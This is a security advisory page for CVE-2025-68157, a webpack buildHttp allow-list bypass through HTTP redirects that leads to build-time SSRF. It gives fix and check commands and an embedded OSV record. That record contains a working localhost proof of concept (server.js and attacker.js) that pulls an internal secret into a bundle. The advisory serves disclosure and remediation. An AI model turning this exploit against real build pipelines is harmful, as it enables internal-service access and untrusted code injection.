CVE-2025-68157: Webpack Webpack BuildHttp HttpUriPlugin AllowedUris Bypass Vulnerability
LOWCVE-2025-68157 is a LOW (CVSS 3.7) webpack buildhttp httpuriplugin alloweduris bypass vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Webpack libraries in the npm ecosystem. The issue involves webpack buildhttp httpuriplugin alloweduris bypass via http redirects → ssrf + cache persistence. Remediation is available by upgrading affected packages to version 5.104.0.
CVE-2025-68157 at a Glance
Security Impact
CVSS: 3.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N).
How to Fix CVE-2025-68157
To remediate this vulnerability, upgrade all affected Webpack dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install webpack@5.104.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls webpack
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2025-68157, inspect your project dependencies using npm:
npm ls webpack
Analyze the terminal output to locate any version of Webpack in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.104.0), your application is affected.
Note: The npm ls webpack command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Webpack, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-68157 Affected Webpack Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
webpack
|
npm |
≥ 5.49.0
< 5.104.0
|
5.104.0
|
References
Frequently Asked Questions
What is CVE-2025-68157?
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Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-38r7-794h-5758",
"modified" : "2026-02-06T14:39:25Z",
"published" : "2026-02-05T18:35:28Z",
"aliases" : [ "CVE-2025-68157" ],
"summary" : "webpack buildHttp HttpUriPlugin allowedUris bypass via HTTP redirects → SSRF + cache persistence",
"details" : "### Summary\nWhen `experiments.buildHttp` is enabled, webpack’s HTTP(S) resolver (`HttpUriPlugin`) enforces `allowedUris` only for the **initial** URL, but **does not re-validate `allowedUris` after following HTTP 30x redirects**. As a result, an import that appears restricted to a trusted allow-list can be redirected to **HTTP(S) URLs outside the allow-list**. This is a **policy/allow-list bypass** that enables **build-time SSRF behavior** (requests from the build machine to internal-only endpoints, depending on network access) and **untrusted content inclusion in build outputs** (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.\n\n### Details\nIn the HTTP scheme resolver, the allow-list check (`allowedUris`) is performed when metadata/info is created for the original request (via `getInfo()`), but the content-fetch path follows redirects by resolving the `Location` URL without re-checking whether the redirected URL is within `allowedUris`.\n\nPractical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.\n\n**Figure 1 (evidence screenshot):** left pane shows the allowed host issuing a 302 redirect to `http://127.0.0.1:9100/secret.js`; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.\n\n<img width=\"1648\" height=\"461\" alt=\"image\" src=\"https://github.com/user-attachments/assets/bb25f3ff-1919-49f9-951b-ad50bf0c7524\" />\n\n\n### PoC\nThis PoC is intentionally constrained to **127.0.0.1** (localhost-only “internal service”) to demonstrate SSRF behavior safely.\n\n#### 1) Setup\n```bash\nmkdir split-ssrf-poc && cd split-ssrf-poc\nnpm init -y\nnpm i -D webpack webpack-cli\n```\n\n#### 2) Create server.js\n```js\n#!/usr/bin/env node\n\"use strict\";\n\nconst http = require(\"http\");\nconst url = require(\"url\");\n\nconst allowedPort = 9000;\nconst internalPort = 9100;\n\nconst internalUrlDefault = `http://127.0.0.1:${internalPort}/secret.js`;\nconst secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;\nconst internalPayload =\n `export const secret = ${JSON.stringify(secret)};\\n` +\n `export default \"ok\";\\n`;\n\nfunction start(port, handler) {\n return new Promise(resolve => {\n const s = http.createServer(handler);\n s.listen(port, \"127.0.0.1\", () => resolve(s));\n });\n}\n\n(async () => {\n // Internal-only service (SSRF target)\n await start(internalPort, (req, res) => {\n if (req.url === \"/secret.js\") {\n res.statusCode = 200;\n res.setHeader(\"Content-Type\", \"application/javascript; charset=utf-8\");\n res.end(internalPayload);\n console.log(`[internal] 200 /secret.js served (secret=${secret})`);\n return;\n }\n res.statusCode = 404;\n res.end(\"not found\");\n });\n\n // Allowed host (redirector)\n await start(allowedPort, (req, res) => {\n const parsed = url.parse(req.url, true);\n\n if (parsed.pathname === \"/redirect.js\") {\n const to = parsed.query.to || internalUrlDefault;\n\n // Safety guard: only allow redirecting to localhost internal service in this PoC\n if (!to.startsWith(`http://127.0.0.1:${internalPort}/`)) {\n res.statusCode = 400;\n res.end(\"to must be internal-only in this PoC\");\n console.log(`[allowed] blocked redirect to: ${to}`);\n return;\n }\n\n res.statusCode = 302;\n res.setHeader(\"Location\", to);\n res.end(\"redirecting\");\n console.log(`[allowed] 302 /redirect.js -> ${to}`);\n return;\n }\n\n res.statusCode = 404;\n res.end(\"not found\");\n });\n\n console.log(`\\nServer running:`);\n console.log(`- allowed host: http://127.0.0.1:${allowedPort}/redirect.js`);\n console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`);\n})();\n```\n\n#### 3) Create attacker.js\n```js\n#!/usr/bin/env node\n\"use strict\";\n\nconst path = require(\"path\");\nconst os = require(\"os\");\nconst fs = require(\"fs/promises\");\nconst webpack = require(\"webpack\");\nconst webpackPkg = require(\"webpack/package.json\");\n\nconst allowedPort = 9000;\nconst internalPort = 9100;\n\nconst allowedBase = `http://127.0.0.1:${allowedPort}/`;\nconst internalTarget = `http://127.0.0.1:${internalPort}/secret.js`;\nconst entryUrl = `${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`;\n\nasync function walk(dir) {\n const out = [];\n const items = await fs.readdir(dir, { withFileTypes: true });\n for (const it of items) {\n const p = path.join(dir, it.name);\n if (it.isDirectory()) out.push(...await walk(p));\n else if (it.isFile()) out.push(p);\n }\n return out;\n}\n\nasync function fileContains(f, needle) {\n try {\n const buf = await fs.readFile(f);\n return buf.toString(\"utf8\").includes(needle) || buf.toString(\"latin1\").includes(needle);\n } catch {\n return false;\n }\n}\n\nasync function findInFiles(files, needle) {\n const hits = [];\n for (const f of files) if (await fileContains(f, needle)) hits.push(f);\n return hits;\n}\n\nconst fmtBool = b => (b ? \"✅\" : \"❌\");\n\n(async () => {\n const tmp = await fs.mkdtemp(path.join(os.tmpdir(), \"webpack-attacker-\"));\n const srcDir = path.join(tmp, \"src\");\n const distDir = path.join(tmp, \"dist\");\n const cacheDir = path.join(tmp, \".buildHttp-cache\");\n const lockfile = path.join(tmp, \"webpack.lock\");\n const bundlePath = path.join(distDir, \"bundle.js\");\n\n await fs.mkdir(srcDir, { recursive: true });\n await fs.mkdir(distDir, { recursive: true });\n\n await fs.writeFile(\n path.join(srcDir, \"index.js\"),\n `import { secret } from ${JSON.stringify(entryUrl)};\nconsole.log(\"LEAKED_SECRET:\", secret);\nexport default secret;\n`\n );\n\n const config = {\n context: tmp,\n mode: \"development\",\n entry: \"./src/index.js\",\n output: { path: distDir, filename: \"bundle.js\" },\n experiments: {\n buildHttp: {\n allowedUris: [allowedBase],\n cacheLocation: cacheDir,\n lockfileLocation: lockfile,\n upgrade: true\n }\n }\n };\n\n const compiler = webpack(config);\n\n compiler.run(async (err, stats) => {\n try {\n if (err) throw err;\n\n const info = stats.toJson({ all: false, errors: true, warnings: true });\n if (stats.hasErrors()) {\n console.error(info.errors);\n process.exitCode = 1;\n return;\n }\n\n const bundle = await fs.readFile(bundlePath, \"utf8\");\n const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);\n const secret = m ? m[0] : null;\n\n console.log(\"\\n[ATTACKER RESULT]\");\n console.log(`- webpack version: ${webpackPkg.version}`);\n console.log(`- node version: ${process.version}`);\n console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`);\n console.log(`- imported URL (allowed only): ${entryUrl}`);\n console.log(`- temp dir: ${tmp}`);\n console.log(`- lockfile: ${lockfile}`);\n console.log(`- cacheDir: ${cacheDir}`);\n console.log(`- bundle: ${bundlePath}`);\n\n if (!secret) {\n console.log(\"\\n[SECURITY SUMMARY]\");\n console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`);\n return;\n }\n\n const lockHit = await fileContains(lockfile, secret);\n\n let cacheFiles = [];\n try { cacheFiles = await walk(cacheDir); } catch { cacheFiles = []; }\n const cacheHit = cacheFiles.length ? (await findInFiles(cacheFiles, secret)).length > 0 : false;\n\n const allTmpFiles = await walk(tmp);\n const allHits = await findInFiles(allTmpFiles, secret);\n\n console.log(`\\n- extracted secret marker from bundle: ${secret}`);\n\n console.log(\"\\n[SECURITY SUMMARY]\");\n console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`);\n console.log(`- Internal target (SSRF-like): ${internalTarget}`);\n console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`);\n console.log(`- ACTUAL: internal content treated as module and bundled`);\n\n console.log(\"\\n[EVIDENCE CHECKLIST]\");\n console.log(`- bundle contains secret: ${fmtBool(true)}`);\n console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);\n console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);\n\n console.log(\"\\n[PERSISTENCE CHECK] files containing secret\");\n for (const f of allHits.slice(0, 30)) console.log(`- ${f}`);\n if (allHits.length > 30) console.log(`- ... and ${allHits.length - 30} more`);\n } catch (e) {\n console.error(e);\n process.exitCode = 1;\n } finally {\n compiler.close(() => {});\n }\n });\n})();\n```\n\n#### 4) Run\nTerminal A:\n```bash\nnode server.js\n```\n\nTerminal B:\n```bash\nnode attacker.js\n```\n\n#### 5) Expected\n\nExpected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).\n\n### Impact\n\nVulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).\n\nWho is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:\n\ntrigger network requests from the build machine to internal-only services (SSRF behavior),\n\ncause content from outside the allow-list to be bundled into build outputs,\n\nand cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "webpack"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "5.49.0"
}, {
"fixed" : "5.104.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/webpack/webpack/security/advisories/GHSA-38r7-794h-5758"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-68157"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/webpack/webpack"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "LOW",
"github_reviewed" : true,
"github_reviewed_at" : "2026-02-05T18:35:28Z",
"nvd_published_at" : "2026-02-05T23:15:53Z"
}
}